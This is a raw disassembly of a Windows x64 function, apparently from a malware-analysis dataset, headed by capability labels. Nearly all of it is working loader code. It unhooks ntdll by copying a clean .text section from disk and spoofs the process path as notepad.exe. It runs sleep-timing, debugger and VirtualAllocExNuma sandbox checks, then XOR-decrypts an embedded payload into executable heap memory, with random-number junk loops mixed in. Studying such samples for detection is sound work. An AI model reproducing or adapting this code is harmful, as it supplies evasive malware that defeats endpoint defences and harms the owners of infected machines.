Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x8e0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002bb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
mov ecx, 0xc60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov ecx, 0xc60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0xc60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0xc60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x858], 0x317
mov dword [rbp + 0x85c], 0
jmp 0x1400015ec
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x317
jle 0x140001559
mov dword [rbp + 0x85c], 0
jmp 0x14000168b
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x858], 1
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x317
jle 0x14000160b
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
jne 0x14000175b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
je 0x140001b2c
mov dword [rbp + 0x78c], 1
mov ecx, 0xbe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x848], 2
jmp 0x1400017b8
mov rax, qword [rbp + 0x848]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x848], 1
cmp qword [rbp + 0x848], 0x2f7
jbe 0x140001791
mov qword [rbp + 0x848], 2
jmp 0x14000184f
mov rax, qword [rbp + 0x848]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001847
mov rax, qword [rbp + 0x848]
mov qword [rbp + 0x840], rax
jmp 0x140001830
mov rax, qword [rbp + 0x848]
imul rax, qword [rbp + 0x840]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x840], 1
mov rax, qword [rbp + 0x848]
imul rax, qword [rbp + 0x840]
cmp rax, 0x2f7
jbe 0x140001801
add qword [rbp + 0x848], 1
cmp qword [rbp + 0x848], 0x2f7
jbe 0x1400017d2
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x790]
mov r10, qword [rbp + 0x850]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x83c], 0x6e
mov dword [rbp + 0x838], 0x82
jmp 0x140001961
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x838]
jle 0x14000195a
sub dword [rbp + 0x83c], 1
jmp 0x140001961
sub dword [rbp + 0x838], 1
cmp dword [rbp + 0x83c], 0
jg 0x140001943
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov qword [rbp + 0x750], rax
mov word [rbp + 0x836], 0
jmp 0x140001b14
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x750]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x836]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b03
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x760]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x778]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x836]
add eax, 1
mov word [rbp + 0x836], ax
mov rax, qword [rbp + 0x750]
movzx eax, word [rax + 6]
cmp word [rbp + 0x836], ax
jb 0x1400019d8
mov dword [rbp + 0x744], 1
mov ecx, 0x48c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov qword [rbp + 0x828], 2
jmp 0x140001b7b
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x122
jbe 0x140001b54
mov qword [rbp + 0x828], 2
jmp 0x140001c12
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c0a
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
jmp 0x140001bf3
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x820], 1
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
cmp rax, 0x122
jbe 0x140001bc4
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x122
jbe 0x140001b95
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7c0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x81c], 0xf0
mov dword [rbp + 0x818], 0xbe
mov dword [rbp + 0x814], 0x3d4
mov dword [rbp + 0x810], 0x24e
jmp 0x140001db5
mov eax, dword [rbp + 0x814]
cmp eax, dword [rbp + 0x810]
jle 0x140001d52
mov eax, dword [rbp + 0x814]
cmp eax, dword [rbp + 0x81c]
jle 0x140001d32
mov eax, dword [rbp + 0x814]
cmp eax, dword [rbp + 0x818]
jle 0x140001d29
sub dword [rbp + 0x814], 1
jmp 0x140001d9e
sub dword [rbp + 0x818], 1
jmp 0x140001d9e
mov eax, dword [rbp + 0x81c]
cmp eax, dword [rbp + 0x818]
jle 0x140001d49
sub dword [rbp + 0x81c], 1
jmp 0x140001d9e
sub dword [rbp + 0x818], 1
jmp 0x140001d9e
mov eax, dword [rbp + 0x810]
cmp eax, dword [rbp + 0x81c]
jle 0x140001d80
mov eax, dword [rbp + 0x810]
cmp eax, dword [rbp + 0x818]
jle 0x140001d77
sub dword [rbp + 0x810], 1
jmp 0x140001d9e
sub dword [rbp + 0x818], 1
jmp 0x140001d9e
mov eax, dword [rbp + 0x81c]
cmp eax, dword [rbp + 0x818]
jle 0x140001d97
sub dword [rbp + 0x81c], 1
jmp 0x140001d9e
sub dword [rbp + 0x818], 1
mov eax, dword [rbp + 0x814]
mov edx, eax
lea rax, [0x14000b0b8]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x814], 0
jg 0x140001cf6
mov dword [rbp + 0x724], 0x2f9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x2c7
jbe 0x140002ae4
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
jne 0x140002ae4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x140002ae4
mov ecx, 0x5e5
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5e5
jne 0x140002ae4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6f4], 0x3c1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e4], eax
mov eax, dword [rbp + 0x6f4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e0], eax
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x6e4]
cmp eax, 0x38f
jbe 0x140002ae4
mov dword [rbp + 0x6dc], 0x34c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x31a
jbe 0x140002ae4
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x6c0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002ae4
mov qword [rbp + 0x6b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3693280
mov ecx, 0
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x140002ae4
mov rax, qword [rbp + 0x6b8]
mov edx, 0x3693280
mov rcx, rax
call fcn.140009240
mov rax, qword [rbp + 0x6b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x6ac], 0x307
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6ac]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x2d5
jbe 0x140002ae4
mov qword [rbp + 0x808], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x14000222e
mov rax, qword [rbp + 0x690]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x3ec
mov edx, 0
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x140002ae4
lea rax, [rbp + 0xf0]
lea rdx, [0x14000b148]
mov ecx, 0x97
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x67c], 0
mov dword [rbp + 0x7fc], 0
mov ecx, 0x28e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x804], 0
jmp 0x140002375
mov dword [rbp + 0x800], 0
jmp 0x140002361
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x804]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x670]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x800]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000235a
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x21
jle 0x1400022c8
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x4c
jle 0x1400022b9
cmp dword [rbp + 0x7fc], 0x51d
jne 0x140002398
mov dword [rbp + 0x67c], 1
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x680]
mov r8d, 0
mov edx, 0x4b9
mov ecx, 0x40000
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov r9, qword [rbp + 0x668]
mov r8d, 0x4b9
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x650]
mov r8d, 0x4b9
mov rcx, rax
call r9
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 0
movabs rax, 0xeab4ee8c6af93d9f
movabs rdx, 0x19e520c9547c74c
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x81c920230e441031
movabs rdx, 0x16306c58b1fda71
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe938d0b9a0153431
movabs rdx, 0xb10ed0cd43b4d4c6
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x674a480810b5324c
movabs rdx, 0xb1014d5d0bafee92
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x779e7ab4e6fa9a75
movabs rdx, 0x88d0c0d95c50eb3
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x7dc9e6bd47c6806f
movabs rdx, 0x62014794c83c7263
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x7a06d608806201
mov qword [rbp + 0xde], rax
movabs rax, 0xfca61e2bfea1a93f
movabs rdx, 0x54e0155dae543d62
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xb5e34ac0d27e7ed8
movabs rdx, 0x84e353f64f622425
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xd1e72e83c81886f6
movabs rdx, 0x7478339929012840
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x82f3ab6c1ff0260
movabs rdx, 0xa131c964a586fe25
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xaedbf5a8ab5737bb
movabs rdx, 0x583c37444cdc2c16
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov word [rbp + 0x70], 0xa3
mov dword [rbp + 0x7ec], 0x172
jmp 0x1400025e6
sub dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0
jg 0x1400025df
mov dword [rbp + 0x7f8], 0
jmp 0x140002846
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7f4], 0x64
jne 0x140002838
mov dword [rbp + 0x7f4], 0
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7e8], 0
jmp 0x140002750
mov dword [rbp + 0x7e4], 0
jmp 0x14000273c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x618]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x610]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x16
jle 0x140002691
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x55
jle 0x140002682
mov dword [rbp + 0x7e8], 0
jmp 0x1400027fc
mov dword [rbp + 0x7e4], 0
jmp 0x1400027ec
mov eax, dword [rbp + 0x7e8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x618]
add rdx, rax
mov eax, dword [rbp + 0x7e4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x610]
add rdx, rax
mov eax, dword [rbp + 0x7e4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x608]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7e4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x16
jle 0x140002778
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x55
jle 0x14000276c
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x14000283f
add dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f8]
cmp eax, 0x50
jbe 0x1400025fe
mov dword [rbp + 0x7f8], 0
jmp 0x1400029e0
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7f0], 0x50
jne 0x1400028ba
mov dword [rbp + 0x7f0], 0
jmp 0x1400029d9
mov ecx, 0x86c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7e0], 0
jmp 0x140002938
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x21a
jle 0x1400028eb
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7e0], 0
jmp 0x1400029b7
mov eax, dword [rbp + 0x7e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002986
add dword [rbp + 0x7dc], 1
jmp 0x1400029b0
mov eax, dword [rbp + 0x7e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400029b0
add dword [rbp + 0x7d8], 1
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x21a
jle 0x14000295a
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7f0], 1
